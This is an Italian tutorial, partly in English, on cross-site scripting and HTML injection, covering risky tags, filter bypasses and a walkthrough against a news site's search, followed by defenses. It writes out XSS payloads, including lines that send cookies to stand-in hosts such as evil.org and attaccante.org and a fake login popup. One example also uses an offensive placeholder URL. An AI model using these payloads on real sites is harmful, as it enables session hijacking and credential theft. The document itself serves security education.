.: Hacker3 :.

Da quando le applicazioni web-based sono diventate più sofisticate, i tipi di vulnerabilità passibili di exploiting sono rapidamente aumentati. Una particolare classe di attacchi comunemente intesa come "inserimento di codice" e spesso "Cross-Site Scripting" è diventata estremamente popolare. Sfortunatamente, il numero delle applicazioni vulnerabili a questi attacchi è sconcertante, e la varietà di modi che gli attaccanti stanno trovando per exploitarli con successo, è in rapida ascesa. L'analisi di molti siti ha indicato che non solo la maggior parte di essi sono vulnerabili, ma che sono vulnerabili a diversi metodi di attacco e molti dei loro contenuti sono potenzialmente affetti da questo bug.

Introduzione

I web server che trasmettono contenuti dinamici ai client Internet costituiscono una componente integrale di molti servizi online offerti da numerose organizzazioni. L'abilità di indirizzare i contenuti e rispondere ad un’individuale richiesta del client rappresenta la funzionalità standard di ogni sito di successo. Sfortunatamente, a causa del codice di applicazione e dei sistemi di processo dei dati poco sviluppati, la maggioranza di questi siti di successo sono vulnerabili ad attacchi che si concentrano sul modo in cui un contenuto HTML viene generato ed interpretato dai web browser. Gli attaccanti sono spesso in grado di includere un contenuto HTML-based malevolo attraverso le richieste dei web client. Con sufficiente cautela e analisi, gli attaccanti riescono ad exploitare queste falle includendo elementi di scripting attraverso il contenuto di ritorno all'insaputa del visitatore dei siti.
Sebbene si conoscano da diversi anni ormai i possibili pericoli, i successi recenti e la maggiore conoscenza del cross-site scripting hanno focalizzato l'attenzione sull'importanza di come gestire l'input dell'utente attraverso codice web generato dinamicamente. Molti siti hanno già dimostrato di essere suscettibili ad attacchi di cross-site scripting. I futuri attacchi sembrano diventare più sofisticati e, attraverso l'automazione e l'exploitation di vulnerabilità di web browser, maggiormente devastanti.
Questo documento si prefigge di educare coloro che sono responsabili per la gestione e lo sviluppo commerciale di servizi online offrendo le informazioni necessarie per capire il significato del pericolo, ed suggerire consigli riguardo alle applicazioni di sicurezza contro questo tipo di attacchi.

Inserimento del Codice

Il successo di questo tipo di attacchi si basa sulla funzionalità dei client browser. In HTML, per distinguere testo stampabile sul display da quello interpretato dal markup language, alcuni caratteri sono trattati in maniera speciali. Uno dei più comuni caratteri speciali usato per definire elementi attraverso il markup language è il carattere "<", che è tipicamente usato per indicare l'inizio di un tag HTML. Questi tag possono sia intervenire sulla formattazione della pagina che introdurre un programma che venga eseguito dal browser client (ex: il tag <SCRIPT> introduce un programma in JavaScript).
Dato che la maggior parte dei browser ha la capacità di interpretare script attraverso i contenuti HTML abilitati di default, un attaccante potrebbe con successo iniettare uno script, che sarà molto probabilmente eseguito attraverso il contesto della pagina (ex: il sito, l'aiuto HTML, ecc..) dall'utente finale. Questi script possono essere scritti in ogni tipo di linguaggio di scripting, basta assicurarsi che l'host client possa interpretare il codice. I tag di scripting che sono maggiormente usati per includere un contenuto malevolo sono <SCRIPT>, <OBJECT>, <APPLET> e <EMBED>.
Mentre questo documento si concentra maggiormente sul pericolo presentato attraverso l'inserimento di codice di scripting malevolo, altri tag possono essere inseriti e sfruttati da un attaccante. Consideriamo il tag <FORM> - con l'inserimento di appropriate informazioni di tag HTML, un attaccante potrebbe ingannare i visitatori del sito rivelando informazioni sensibili modificando, per esempio, il comportamento del form esistente. Altri tag HTML possono essere inseriti per alterare l'aspetto ed il comportamento della pagina.
È importante conoscere i tag HTML che sono maggiormente usati per eseguire inserimento di codice.
La seguente tabella descrive nel dettaglio i più importanti attributi di questi tag. Comunque, è importante sottolineare che elementi "in-linea" alternativi di scripting potrebbero essere usati ed interpretati allo stesso tempo dai web browser, come per esempio: javascript:alert('Esecuzione di script').

HTML Tag	Descrizione
<SCRIPT>	Aggiunge uno script che viene usato nel documento. Attributi: type = Specifica il linguaggio dello script. Il suo valore deve essere un tipo media (ex: text/javascript). Questo attributo viene richiesto dalla specifica HTML 4.0 ed è il sostituto raccomandato per l'attributo "language". language = Identifica il linguaggio dello script, come per JavaScript o VBScript. src = Specifica l'URL di un file esterno contenente lo script che deve essere caricato ed eseguito nel documento (Solo per Netscape) Supportato da: Netscape, IE 3+, HTML 4, Opera 3+
<OBJECT>	Pone un oggetto (come un applet, un file di media, ecc.) nel documento. Il tag spesso contiene informazioni per i controlli ActiveX che IE usa per visualizzare l'oggetto. Attributi: classid = Identifica il class ID dell'oggetto. codebase = Identifica l'URL del codebase dell'oggetto. codetype = Specifica il tipo di media del codice. Esempi di tipi di codice includono audio/basic, text/html, e image/gif. (Solo IE e HTML 4.0) data = Specifica l'URL dei dati usati per l'oggetto. name = Specifica il nome dell'oggetto a cui si riferiscono gli script della pagina. standby = Specifica il messaggio da visualizzare mentre si carica l'oggetto. type = Specifica il tipo di media per i dati. usemap = Specifica l'URL di imagemap da usare con l'oggetto. Supportato da: Netscape, IE, HTML 4
<APPLET>	Usato per piazzare un'applet Java in un documento. È stato rimpiazzato nelle specifiche HTML 4.0 da <object>. Attributi: code = Specifica il nome della classe del codice che verrà eseguito (obbligatorio). codebase = L'URL da cui viene ottenuto il codice. name = Nome dell'applet. Supportato by: Netscape, IE 3+, HTML 4
<EMBED>	Embeds an object into the document. Embedded objects are most often multimedia files that require special plug-ins to display. Specific media types and their respective plug-ins may have additional proprietary attributes for controlling the playback of the file. The closing tag is not always required, but is recommended. The tag was dropped by the HTML 4.0 specification in favour of the <object> tag. Attributes: hidden = Hides the media file or player from view when set to yes. name = Specifies the name for the embedded object for later reference within a script. pluginspage = Specifies the URL for information on installing the appropriate plug-in. src = Provides the URL to the file or object to be placed on the document. (Netscape 4+ and IE 4+ only) code = Specifies the class name of the Java code to be executed. (IE only) codebase = Specifies the base URL for the application. (IE only) pluginurl = Specifies a source for installing the appropriate plug-in for the media file. (Netscape only) type = Specifies the MIME type of the plug-in needed to run the file. (Netscape only) Supported by: Netscape, IE 3+, Opera 3+
<FORM>	Indicates the beginning and end of a form. Attributes: action = Specifies the URL of the application that will process the form. enctype = Specifies how the values for the form controls are encoded when they are submitted to the server. method = Specifies which HTTP method will be used to submit the form data. target = Specifies a target window for the results of the form submission to be loaded ( _blank, _top, _parent, and _self). Supported by: All

Codice Malevolo

Un attacco di inclusione di codice dipende fortemente dal meccanismo di trasferimento dati. Dato che è il metodo di trasmissione che spesso detta al pubblico lo script potenzialmente dannoso.
È interessante notare che questi attacchi esistevano ben prima di Internet e dell'HTML. Già ai tempi delle dial-up Bulletin Boards Systems (BBS), il problema era che i visitatori del sito codificavano i loro messaggi in ASCII colorato e più tardi, l'uso di linguaggi di vettor drawing permisero agli utenti di ridisegnare le stesse pagine. Perciò molti siti ospitano gruppi di discussione con interfacce degli utenti studiate molto tempo prima per controllare rigorosamente il contenuto che potrebbe essere inviato.
Un primo problema per i gruppi di discussione una volta trasferitisi su applicazioni web-based fu l'uso eccessivo ed incondizionato di tag HTML standard. Per esempio, le prime message boards obbligavano l'utente ad inviare il proprio testo attraverso il form standard POST. Questi dati veniva poi aggiungi alla pagina di discussione, senza ulteriori controlli. Gli utenti, allora, spesso includevano testi formattati con tag per rendere il proprio testo grassetto, inclinato, o addirittura colorato - rendendo il loro messaggio di più forte impatto visivo.
Sfortunatamente, non fu raro che qualcuno dimenticasse il tag di chiusura, andando a compromettere tutti i messaggi successivi nella pagina. Ora considerate le implicazioni portate da un utente che includesse le due seguenti righe di codice nei propri post e gli effetti provocati a chiunque guardasse il messaggio.

Hello World! <SCRIPT>malicious code</SCRIPT>


Hello World! <EMBED SRC="http://www.ped0filia.com/video/stupr0.mov">

Sfortunatamente, gli attaccanti stanno trovando i più ingegnosi metodi di codificare i loro attacchi di inclusione, e di conseguenza molti più siti risultano vulnerabili.
Di particolare importanza è l'abuso di fiducia. Considerate un sito sicuro con un motore di ricerca malamente codato. Un attaccante potrebbe essere in grado di includere il suo codice malevolo attraverso un iperlink al sito. Quando il web browser segue il link, l'URL indica un sito-fidato.org e include codice malevolo. Il sito manda poi indietro al browser il valore del criterio di ricerca, e consequenzialmente l'esecuzione del codice dal server dell'attaccante. Per esempio:

<A HREF="http://sito-fidato.org/search.cgi?criteri=<SCRIPT
SRC="http://attaccante.org/attacco.js"></SCRIPT>Vai a
sito-fidato.org</A>

In questo attacco, un link permette di iniettare codice nelle pagine di un altro sito.

Si può notare che questo attacco:
* Maschera il link come un link a http://sito-fidato.org,
* Può facilmente includere un messaggio di email HTML,
* Non fornisce codice malevolo inline, ma viene scaricato da attaccante.org. Quindi l'attaccante ottiene il controllo dello script che può aggiornare o rimuovere quando vuole.
Questo tipo di vulnerabilità è generalmente indicata come cross-site scripting (CSS o a volte XSS).

Cross-Site Scripting

Una vulnerabilità cross-site scripting è causata dal fallimento di un'applicazione web-based di validare l'input dell'utente prima di rigirarlo al sistema client. "Cross-Site" si riferisce alle restrizioni di sicurezza che il client browser di solito pone nei dati (ex: cookies, attributi di content dinamici, ecc..) associati ad un website. Facendo sì che il browser della vittima esegua codice iniettato sotto gli stessi permessi del dominio della applicazione web, un attaccante può bypassare le tradizionali restrizioni di sicurezza Document Object Model (DOM) che possono risultare non solo in cookie rubati, ma nell'hijacking degli account, nel cambiamento delle impostazioni degli account nell'applicazione web, nell'invio di worm tramite webmail, ecc..
Notate che l'accesso che un intruso ha del Document Object Model (DOM) dipende dall'architettura di sicurezza del linguaggio scelto dall'attaccante. Nello specifico, applet Java non assicurano all'attaccante alcun accesso oltre il DOM e sono ristrette a ciò che viene comunemente detto "un sandbox".
I componenti web più comuni a cadere vittima delle vulnerabilità CSS/XSS includono script CGI, motori di ricerca, bulletin boards interattive, e alcune pagine di errore con routine di convalida dell'input scritte malamente.
In più, una vittima non deve necessariamente cliccare su un link; un codice CSS può anche essere fatto caricare automaticamente in una email HTML con alcune manipolazioni sui tag IMG o IFRAME.
Il più popolare (e devastante) attacco CSS/XSS è rappresentato dalla raccolta di cookie di autenticazione ed i token di gestione delle sessioni. Con queste informazioni, è spesso un banale esercizio per l'attaccante dirottare la sessione attiva delle vittime, bypassando completamente il processo di autenticazione. Sfortunatamente il meccanismo dell'attacco è molto facile e può essere facilmente automatizzato. Un paper dettagliato della iDefence spiega ampiamente il processo ma può essere rapidamente sintetizzato nei seguenti punti:

1. L'attaccante cerca un sito interessante dove gli utenti normali devono autenticarsi, e che traccia gli utenti autenticati attraverso l'uso dei cookies o session ID
2. L'attaccante trova una pagina vulnerabile a CSS sul sito, per esempio:

http://trusted.org/account.asp

3. Usando un po' di social engineering, l'attaccante crea uno speciale link al sito e lo include in una email HTML che monda ad una lunga lista di potenziali vittime
4. Inclusi attraverso il link speciale ci sono alcuni elementi di coding specificatamente designati a trasmettere una copia del cookie delle vittime fino all'attaccante. Per esempio:

<img
src="http://trusted.org/account.asp?ak=<script>document.location
.replace('http://evil.org/steal.cgi?'+document.cookie);</script>">

5. All'insaputa della vittima, l'attaccante ha ora ricevuto una copia delle informazioni del suo cookie.

L'attaccante ora visita il web site e, sostituendo il proprio cookie con quello della vittima è in grado di venir riconosciuto come la vittima stessa dall'applicazione server.

Da notare che il Cross-site Scripting viene indicato come CSS e/o XSS.

Capire l'inserimento di Codice

Al giorno d'oggi, professionisti di sicurezza hanno scoperto un gran numero di metodi per potenziali inserimenti di codice attraverso applicazioni web malamente configurate. I seguenti sono solo alcuni dei più comuni.

Scripting Inline

Risposte di errore forzate

http://trusted.org/<script>code</script>

Questo aspetto dell'inserimento spesso avviene a causa di una povera gestione degli errori da parte del web server o dei componenti dell'applicazione. L'applicazione fallisce nel cercare la pagina richiesta e riporta un errore che sfortunatamente include il dato di script non ancora processato.

http://trusted.org/search.cgi?blahblahblahblahblah<script>code</script>

Se un'applicazione Java come un servlet fallisce nel gestire un errore, e permette l'invio di tracce dello stack ai browser degli utenti, un attaccante può costruire un URL che genererà un'eccezione ed aggiungerà il suo script malevolo alla fine della richiesta.

http://trusted.og/servlet/ org.apache.catalina.servlets.WebdavStatus/<script>code</script>

Nell'esempio qui sopra, quando il servlet di Tomcat è richiamato con una richiesta illegittima, viene restituita una pagina di errore, contenente parola per parola il testo dannoso.

Eventi senza <SCRIPT>

" [event]='code'

In molti casi è possibile per un attaccante inserire una stringa di exploit, con la sintassi sopra riportata, in un tag HTML che dovrebbe assomigliare a:

<A HREF="stringa exploit">Vai</A>

in modo da risultare:

<A HREF"" [event]='code'">Vai</A>

<b onMouseOver="self.location.href='http://evil.org/'">testo in grassetto</b>

Non appena il cursore del client si muove sopra il testo in grassetto, un evento intrinseco viene generato e si esegue il codice Javascript.

Entità JavaScritp

<img src="&{alert('CSS Vulnerable')};">

Il carattere speciale "&" è a volte interpretato come un nuovo segmento di codice JavaScript (entità).

Tipica Formattazione dei Payload

<img src = "malevolo.js">

<script>alert("hacked")</script>

<iframe = "malevolo.js">

<script>document.write('<img src="http://attaccante.org/'+document.cookie+'")</script>

<a href="javascript:…">cliccami</a>

Insertion Example

Dynamic URL Generation

Consider an application built for running on Microsoft’s Internet Information Server (IIS) web server platform. Dynamic content is delivered through IIS’s Active Server Pages (ASP).
Within the sample page, a dynamically built HTML tag for refining search parameters is constructed as follows:
<A HREF="http://trusted.org/search_main.asp? searchstring=SomeString">click-me</A>
and the ASP code required to generate a further query based upon this submitted information is:

<%
var BaserUrl = "http://trusted.org/search2.asp?
searchagain=";Response.Write("<a href=\"" + BaseUrl
+ Request.QueryString("SearchString") + "\">click-me</a>" )
%>

If the attacker was to replace the “SomeString” with their own code, as indicated next:
<a href="http://trusted.org/search_main.asp?
SearchString=%22+onmouoseover%3D%27ClientForm%
2Eaction%3D%22evil%2Eorg%2Fget%2Easp%3FData%
3D%22+%2B+ClientForm%2EPersonalData%3BClientForm%
2Esubmit%3B%27">FooBar</a>

The likely result found in the dynamically generated ASP page will be:
<A HREF="http://trusted.org/search2.asp?
searchagain="" onmouoseover='ClientForm.
action="evil.org/get.asp?Data=" +
ClientForm.PersonalData;ClientForm.
submit;'">click-me</A>

In this case, the attacker has added to the HTML page code, and used the DOM of the HTML page to redirect data in some form to the attacker’s web site.

Bypassare i filtri anti-CSS

Una funzione chiave di ogni applicazione che filtri il processo dovrebbe essere la rimozione di caratteri speciali potenzialmente pericolosi. Comunque, in molte circostanze può essere difficile filtrare un ampio range di questi caratteri a causa dei requisiti unici di ogni singola applicazione.
Gli sviluppatori di applicazioni aziendali devono valutare attentamente come il loro codice possa essere oggetto di un'ampia varietà di stringhe di attacco. Inoltre, questi dovrebbero capire a fondo i differenti metodi che posso essere usati per codificare i caratteri speciali.
Una delle più popolari ed alternative rappresentazioni dei caratteri è la codifica escape HTML, a volta confusa con la codifica Unicode. In questo sistema, il valore HEX del carattere ASCII viene posposto con il carattere "%".

Per meglio capire i processi dietro ai meccanismi di bypassing dei filtri anti-CSS, sono riportati qui sotto una serie di dettagliati esempi.

Inserting Malicious Code

Simple Filtering of “<“ and “>“
Many applications that implement some kind of content filtering will typically filter out the “<“ and “>“ characters at the client-side. At first glance, this looks like an effective way of ensuring <script> type HTML tags are not possible. Unfortunately, not only client-side code easy to bypass, in many circumstances it can be bypassed using a mix of alternative character representations and other special characters.
Consider a routine that removes the “<“ and “>“ special characters:
document.write(cleanSearchString('<>'));

The attacker now uses an alternative coding for the filtered characters, “\x3c” and “\x3e” respectively, and initialises their code with “’) +” to escape out of the routine.
') + '\x3cscript src=http://evil.org/malicious.js\x3e\x3c/script\x3e'

Commenting out malicious code
Consider an application that filters content on behalf of it clients by causing any scripting content to be “safely” commented out. For instance, <script>code</script> is filtered by the application to become:
<COMMENT>

</COMMENT>

Unfortunately, it is a simple task to bypass the filter. This is accomplished by including script code that will close the <comment> filter process. For example, the attacker can send the following code:
<script>
- -->
</COMMENT>
<img src="http://none" onerror="alert(document.cookie);window.open( http://evil.org/fakeloginscreen.jsp); ">
</script>

After processing by the filter, the following code is embedded in the returned document:
<COMMENT>

</COMMENT>
<img src="http://none" onerror="alert(document.cookie);window.open(http://evil.org/ fakeloginscreen.jsp);">
</COMMENT>

This particular attack was originally designed to bypass the security filtering processes of a large web-mail provider, and would have been embedded in HTML email content. Users viewing the email would automatically be prompted with a fake login screen, making for an easy method of harvesting user names and passwords.

Separate Window Handling
A popular method of handling potentially dangerous URL information is to force the URL to be opened in a new browser window. This then causes and malicious code to be executed in the context of a different DOM, using the ‘target=“_blank”’ addition to the HTML <HREF> tag.
Unfortunately, in many online email applications it is possible to bypass after analysing the “harmless” link supplied by the site.
Consider a site that parses the content,
<a href="javascript:…">click-me</a>
and, after processing, becomes:
<a href="javascript:…" target="_blank">click-me</a>
Causing the URL to be opened in a new window.

However, if the attacker constructs his HREF as follows,
<a href="javascript:..." foo="bar>click-me</a>
it will be interpreted as:
<a href="javascript:..." foo="bar target="_blank">click-me</a>
causing the code to be executed in the same page, under the same DOM.

Escaped JavaScript Entities
In cases where almost all special characters have are filtered from user supplied strings, attackers must encode the entire attack string.
Consider the following URL:
http://trusted.org/search.cgi?query=%26%7balert%28%27EVIL %27%29%7d%3b&apropos=pos2

The “%26%7balert%28%27EVIL%27%29%7d%3b” resolves to &{alert('EVIL')}; causing in this instance an unexpected JavaScript alert window to popup, with the text “EVIL”.

Integrazione Web

Da quando i web browser si sono evoluti, hanno incorporato un numero sempre maggiore di funzioni. Allo stesso tempo, molte comuni applicazioni per desktop hanno esteso la loro capacità di replicare od integrare le stesse funzionalità degli stessi browser. Dal momento che la falla può essere una HTML injection, e più specificatamente una CSS, le strade percorribili da un urente malevolo o da un attaccante per inizializzare l'attacco stanno diventando molto più numerose. Inoltre, è evidente che ora un meccanismo di trasferimento "personalizzato" diventato molto popolare è costituito dalle email HTML. Sfortunatamente, i metodi di trasferimento si stanno differenziando talmente tanto che non esiste più una singola soluzione di sicurezza per prevenire l'attacco. Consideriamo l'importanza dei seguenti meccanismi di "delivery".

L'attacco in Flash!

Flash! è una famosa applicazione per il display di informazioni visuali animate. Per creare i suoi menu interattivi, film e giochi animati, Flash! ha il suo specifico linguaggio di sviluppo: l'ActiveScript. I più famosi web browser spesso installano un interprete per questi file di default, in modo che, essendo il numero dei siti che usano questa tecnologia molto elevato, tutti siano in grado di visualizzare al meglio le pagine con il loro web client.
L'ActiveScript ha una funzione interna chiamata getURL(). Questa funzione è usata per il redirecting di un browser client ad un'altra pagina. Normalmente il parametro accettato dalla funzione dovrebbe essere un URL. Comunque, attraverso l'integrazione tra l'interprete Flash! e i web browser, è possibile inserire un codice di script che sia interpretato con successo dal browser client.

Per esempio, invece di:

getURL("http://www.tecnicalinfo.net")

è possibile specificare uno script code:

getURL("javascript:alert(document.cookie)")

Perciò, è possibile includere elementi di scripting potenzialmente pericolosi attraverso un file di formato comune. La reale importanza di questo processo è che può bypassare molti sistemi di ispezione dei contenuti (in particolare quelli che filtrano i tag HTML <script>) e le impostazioni locali di sicurezza dei browser.
Affinché l'attacco abbia successo, il file Flash! malevolo (tipicamente termina con estensione ".swf") deve essere incluso nei dati HTML per essere visto dai client remoti. Normalmente questo avviene usando i tag <EMBED> o <OBJECT>, per esempio:

<EMBED

src="http://evil.org/badflash.swf"
pluginspace="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"
type="application/x-shockwave-flash" width"100" height="100">

</EMBED>

L'impatto

L'impatto dell'inserimento di codice malevolo è spesso difficile da quantificare e cambia a seconda delle funzionalità od interazioni che sono incorporate, sia nel web server che nel browser client. Ora come ora, gli utenti possono involontariamente eseguire scripts scritti da un attaccante mentre cliccano su link non fidati attraverso pagine web, mail o chat, o qualunque altra applicazione che visualizzi un contenuto HTML (ex: Microsoft Help). Per questo motivo, segue una serie di esempi per illustrare al meglio la diversità e l'impatto di possibili pericoli.

Consideriamo i seguenti esempi:

Controllo di Vulnerabilità

Capire se la vostra applicazione è vulnerabili ad un inserimento di codice è spesso molto semplice. La chiave sta nell'analisi del contenuto HTML lato-client generato dinamicamente. Il seguente processo è stato più volte usato in passato.

Modificare l'invio da POST a GET è un semplice processo. Se l'applicazione fallisce in risposta al GET allo stesso modo di una risposta al POST, probabilmente non è vulnerabile ad un attacco basato su uno scripting inline via URL.

Unire il tutto

Per legare insieme molte delle idee e delle tecniche discusse in questo documento, può essere usato un esempio esemplificativo. In questo caso, il sito anonimo ha un motore di ricerca che risponde all'invio di dati da parte del client. Generalmente il sito si mostrerebbe così:

Nel nostro primo test, proveremo ad inviare la nostra prima stringa di test <script>alert("CSS Vulnerable")</script>, e riceveremo la seguente risposta:

Notate la strana risposta nel campo "Your search" sulla sinistra. Zoomato qui sotto.

Guardando più accuratamente il sorgente, possiamo notare che il nostro codice di esempio appare 21 volte nel documento, in diversi formati.

Appare 10 volte in un formato del genere:

<SCRIPT language="JavaScript1.1" SRC="http://ad.uk.doubleclick.net/adj/

anonymous.com/search;cat=search;sec=search;kw=<script>alert('css_vulnerable')

</script>;pos=top;sz=468x60;tile=1;ptile=1;ord=-308506361?"></SCRIPT>

9 volte:

<a href="Search?q=%3Cscript%3Ealert%28%27CSS+Vulnerable%27%29%3C%2Fscript

%3E&pager.offset=10">2</a>

Ed un paio di volte:

document.writeln('<INPUT TYPE=\"TEXT\" NAME=\"q\" SIZE=\"16\" MAXLENGTH=\

"70\" VALUE=\'<script>alert('CSS Vulnerable')</script>\'>');

Ovviamente questi tre sono tre diverse routine lato-server per la gestione dei dati della ricerca del client.

1. Nel primo tipo (ad.uk.doubleclick.net), viene mostrato come la routine di processo cambi il tipo di carattere (maiuscolo/minuscolo) e lo spazio bianco con un underscore ("_")
2. Il secondo tipo (href=) converte i caratteri speciali nel loro formato escape, e lo spazio bianco nel carattere "+"
3. Il terzo tipo (document.writeln) posiziona la stringa completa attraverso una routine JavaScript document.writeln.

Molte opportunità si presentano qui. Per fa sì che il sito esegua un alert box JavaScript per ogni tipo, abbiamo bisogno di forzare i tag <script> all'esterno degli altri tag HTML. Perciò, per ogni tipo, i seguenti metodi funzioneranno:

1. ><script>alert('CSS Vulnerable')</script><b a=a

   2. a></a><script>alert('CSS Vulnerable')</script>

   3. \'><script>alert%28\'CSS Vulnerable\'%29</script><

Il risultato sarà il seguente alert box (in entrambi i casi):

Ad ogni modo, in questo esempio, dobbiamo focalizzarci sull'ultimo tipo (document.writeln). Dato che con questo è possibile iniettare codice nella pagina HTML restituita al sito di News, per rendere l'attacco interessante, potremmo "scrivere" il nostro falso articolo di news.

A causa della lunghezza massima delle query che possiamo inviare al sito, e la lunghezza del falso articolo di news, dovremmo creare un file Javascript da includere (.js) che lo caricherà automaticamente nella pagina, usando:

\'><script%20src%3dhttp://evil.org/faked.js></script>

In questo esempio, il file incluso userà strutture multiple di document.write per creare il falso articolo. Ci sono parecchie caratteristiche da tenere presenti mentre si prepara il file da includere:

* L'uso del tag HTML <DIV> per posizionare il contenuto della pagina. Facendo così l'attaccante potrà coprire contenuto preesistente come desidera.
* Usare una table per tenere insieme tutto il testo dell'articolo
* Riscrivere il sorgente del campo URL in cima al browser
* Riscrivere la barra di stato del browser.

Dalle prime linee del file fake.js:

var d = document;

d.write('<DIV id="fake" style="position:absolute; left:200; top:200; z-index:2">

<TABLE width=500 height=1000 cellspacing=0 cellpadding=14><TR>');

d.write('<TD colspan=2 bgcolor=#FFFFFF valign=top height=125>');

Fino ad ora, ogni cosa che abbiamo testato sul sito utilizza il form già esistente per inviare il codice dell'attaccante. Questo invio è gestito dal comando HTTP POST, come ad esempio:

POST /Search HTTP/1.0

Referer: http://www.anonymous.com/Search

Accept-Language: en-gb

Content-Type: application/x-www-form-urlencoded

Host: www.anonymous.com

Content-Length: 135

Pragma: no-cache

dropnav=Pick+a+section&q=\'><script%20src%3dhttp://evil.org/faked.js>

</script>newSearch=true&pro=IT&searchOption=articles

È un semplice processo convertire l'HTTP POST in un singolo URL. Sfortunatamente per l'anonimo sito di news, l'applicazione web non differenzia i metodi di ricezione dei dati. Perciò il seguente attacco URL permette all'attaccante di porre il suo contenuto "sul" sito.

http://www.anonymous.com/Search?dropnav=Pick+a+section&q=\'><script

%20src%3dhttp://evil.org/faked.js></script>newSearch=true&pro=IT

&searchOption=articles

DIFENDERSI DAGLI ATTACCHI

Soluzioni per gli utenti

L'unica soluzione definitiva per l'utente è disabilitare tutti i linguaggi di scripting sul proprio computer. Sfortunatamente, è molto probabile che gran parte delle funzioni dei siti regolarmente visitati vengano rimosse. Perciò gli utenti dovrebbero ricorrere a questa opzione solo in ricerca del livello più basso possibile di richiesta. Alternativamente, gli utenti devono essere selettivi nei riguardi dei siti di cui si fidano, ed essere attenti per i sorgenti dei link URL. O ancora, la disabilitazione dei linguaggi di scripting non impedisce agli attaccanti di influenzare l'aspetto di un contenuto offerto dal sito fidato includendo altri tag HTML nel link URL.
Con gli scripting abilitati, un'ispezione visiva dei link non proteggerà gli utenti dall'eseguire i link malevoli, dato che il sito dell'attaccante potrebbe usare il codice scritto per alterare la rappresentazione dei link nel client browser. Sfortunatamente, molte applicazioni integrate aumentano il rischio di veder eseguiti codici di scripting sul sistema degli utenti, in particolare attraverso l'uso di oggetti inclusi, come per i file .swf del Flash!. Per impedire questi tipi di attacchi, gli utenti devono sia disinstallare gli interpreti che assicurarsi che i sistemi di protezione siano in grado di fermare l'esecuzione di quei contenuti. Si pensa che i più famosi anti-virus e personali IDS (intrusion detection system) siano in grado di far ciò.
Francamente, l'unico modo per proteggere gli utenti dall'inserimento di codice e attacchi di tipo CSS risiede nello sviluppo di applicazioni lato-server sicure. Idealmente, l'applicazione dovrebbe gestire correttamente e considerare i dati inviati. Sfortunatamente, la possibilità che uno sviluppatore di applicazioni manchi un'impercettibile rappresentazione di caratteri è molto alta.

Soluzioni per Sviluppatori e Organizzazioni

Dato che due applicazioni non sono mai uguali, gli sviluppatori di applicazioni hanno bisogno di incanalare le loro contromisure di sicurezza come preteso dalle richieste del business. Il fulcro che permetta di rendere le applicazioni non vulnerabili ad inserimento di codice ed attacchi di tipo CSS è rappresentato dalla sicurezza che i contenuti della pagina generata dinamicamente non contengano tag HTML indesiderati.

Le più comuni sorgenti di dati malevoli sembrano essere:

I seguenti metodi o considerazioni possono essere implementati dagli sviluppatori per rendere maggiormente sicure le loro applicazioni contro gli attacchi basati su HTTP, e non solo CSS.

Limitare le Risposte del Server

In molti casi può essere possibile limitare il numero di dati "personali" che sarano restituiti ai browser client attraverso l'uso di risposte generiche.
Per esempio, consideriamo un sito che mostra un saluto "Hello, Gunter!" in risposta a http://trusted.org/greeting.jps?name=Gunter. Sarebbe preferibile, invece, sacrificare questa risposta dinamica con una risposta "ben-codata" come "Hello, User!".

Rinforzare la lunghezza delle Risposte

Per la maggior parte delle applicazioni, lo sviluppatore dovrebbe essere in grado di limitare la lunghezza massima di ogni stringa fornita dall'utente. Sebbene rinforzate inizialmente nel lato client, tutte le stringhe dovrebbero essere controllate anche nel lato server. Dove possibile, rinforzare la limitazione della lunghezza massima necessaria delle stringhe troncando ogni risposta più lunga.

HTTP Referer

Come parte dello standard HTTP, la clausola stilata per un campo di header è detta "referer". Quando un browser segue un link o invia dati in un form, il campo referer conterrebbe l'URL della pagina da cui il link o il dato proviene. Se possibile, l'applicazione web dovrebbe controllare il campo referer e rigettare i dati se non provenissero dal giusto host o link.

HTTP Referer
Usually appearing in the HEAD of any HTTP requests: Referer: http://www.anonymous.com/Search Accept-Language: en-gb Content-Type: application/x-www-form-urlencoded Host: www.anonymous.com
Advantages: An attack would fail irrespective of any character or HTML tag filtering policies.	Disadvantages: There is a risk of blocking legitimate links and form submission. As the referer field is optional, rejecting a blank referer field would prevent the application supporting certain client browsers. In some cases, the referer field may be blank or missing if the user followed a link that may be referenced locally (e.g. email messages, cached pages and favourites). Some browsers deliberately clear the referer field when navigating from a secure (HTTPS) page to an unsecure (HTTP) page.

File e Oggetti Inclusi (Embedded)

Come testimoniato dagli attacchi Flash!, gli attaccanti possono essere in grado di includere componenti di scripting che siano interpretati dal browser client ed usati per condurre un attacco CSS.
Per l'inclusione attraverso un documento basato su HTML, i file inclusi sono indirizzati utilizzando i tag HTML <EMBED> e <OBJECT>. Molte opzioni sono disponibili per diminuire il pericolo di attacchi CSS di tipo "embedded":

* L'opzione più sicura è trattare i tag <EMBED> e <OBJECT> allo stesso modo dei tag <SCRIPT>, e disabilitare ogni contenuto che venga inviato, contenente questo tipo di stringhe.
* In base al formato dell'oggetto incluso, può essere possibile filtrare il contenuto basato su un altro contenuto attraverso l'oggetto. Per esempio, con i file Flash!, sarebbe possibile rimuovere tutte le istanze dove il campo getURL() contiene un riferimento ad un sito diverso da quello dell'host di applicazione. Alternativamente, può essere possibile specificare la finestra di destinazione come "_blank" e in questo modo fermare ogni potenziale codice di script impedendogli di venir eseguito sotto i privilegi del dominio di hosting.

HTTP: POST e non GET

Nella maggioranza dei casi, gli attacchi di remote code insertion sembrano dipendere dall'invio dei dati utente nei form HTML. Una prima prevenzione sta nell'assicurarsi che quell'invio sia fatto esclusivamente attraverso richieste HTTP POST. Permettendo l'invio di richieste HTTP GET, si renderà possibile la manipolazione dell'URL da parte degli attaccanti, che possono iniettare codice malevolo.
Quando si coda un'applicazione lato-server, è estremamente importante provare che i dati lato-client vengano ricevuti solo attraverso variabile HTTP POST. La maggior parte delle applicazioni di hosting indica il metodo usato per il trasferimento di dati.

Ispezione dei Cookie

Molte applicazioni utilizzano cookies per gestire lo stato della comunicazione, e la locale memorizzazione delle informazioni rilevanti dell'utente. Gli sviluppatori di applicazione devono assicurarsi che tutte le informazioni dei cookie siano correttamente controllate e filtrate prima dell'inserimento in documenti HTML. Gli attaccanti potrebbero modificare i cookie persistenti, rendendo, allo stesso modo, "persistenti" i loro attacchi.

URL Session Identifier

In alcune circostanze, l'uso di un singolo identificatore di session (SESSION ID) per ogni utente valido può essere usato per prevenire una remote exploitation da parte di attacchi basati sul codice URL.
